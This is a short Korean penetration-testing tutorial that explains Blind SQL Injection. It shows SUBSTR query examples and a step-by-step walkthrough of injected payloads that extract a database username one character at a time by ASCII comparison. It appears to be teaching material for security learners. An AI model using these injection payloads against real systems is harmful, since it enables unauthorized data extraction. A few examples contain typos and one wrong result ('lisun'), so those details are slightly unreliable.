SQL Injection이란?
[모의해킹] - SQL Injection 공격(Union, Error, Blind...)
Blind SQL Injection
Blind는 쿼리 실행 결과가 화면에 표시되지 않아서 직접적으로 확인할 수 없다는 의미를 가지고 있습니다. Blind SQL Injection은 사용자 입력값으로 악의적인 SQL 쿼리를 삽입하여 데이터베이스에서 민감한 정보를 추출하지만, 결과가 화면에 나타나지 않기 때문에 다른 방법을 사용하여 정보를 추출합니다. 공격자가 삽입한 SQL 쿼리에 대한 결과가 참인지 거짓에 따라 다르게 동작하는 경우에 사용됩니다. 조건문 실행결과에 원하는 값 한 글자가 ASCII 값으로 50보다 큰지 100보다 큰지 비교하여 한 글자씩 데이터를 알아내는 공격입니다.
Error Based SQL Injection에서는 1개의 DATA만 확인할 수 있었다면, Blind SQL Injection에서는 1개의 문자만 확인할 수 있습니다.
★SUBSTR(자르고 싶은 문자열, 자를 위치, 개수)
쿼리 내용 | 요청 쿼리 | 실행결과 |
apple 중 1번째 글자부터 1개 추출 | select substr('apple',1,1) from fruit | a |
apple 중 2번째부터 3개 추출 | select substr('apple',2,3) from fruit | ppl |
서브 쿼리 실행 결과 중 1번째 글자부터 1개 추출 | select substr((select studuent_ID from school where fownum=1),1,1) from school ex) 서브 쿼리 실행 결과 : gildong hong |
g |
서브 쿼리 실행 결과 중 2번째 글자부터 5개 추출 | select substr((select studuent_ID from school where fownum=1),2,5) from school ex) 서브 쿼리 실행 결과 : gilsun hong |
lisun |
DB user명 추출하기
(1) DB user명 길이 조회
[입력] 대치동' and length(user) = 7--
=> 입력 값(숫자)를 바꿔가면서 확인
=> DB user명 : 7글자
(2) DB user명 정보 확인
[입력] 대치동' and ASCII(substr((select user from dual),1,1)) > 65--
=> substr, ASCII 사용
=> 자를 위치와 비교 값을 바꿔가면서 확인
=> 1번째 글자는 72 초과 73 이하, ASCII 73 = I (대문자 i)
=> 2번째 글자는 77 초과 78 이하, ASCII 78 = N
=> 3번째 글자는 69 초과 70 이하, ASCII 70 = F
=> 4번째 글자는 78 초과 79 이하, ASCII 79 = O
=> 5번째 글자는 82 초과 83 이하, ASCII 83 = S
=> 6번째 글자는 68 초과 69 이하, ASCII 69 = E
=> 7번째 글자는 66 초과 67 이하, ASCII 67 = C
=> user명 INFOSEC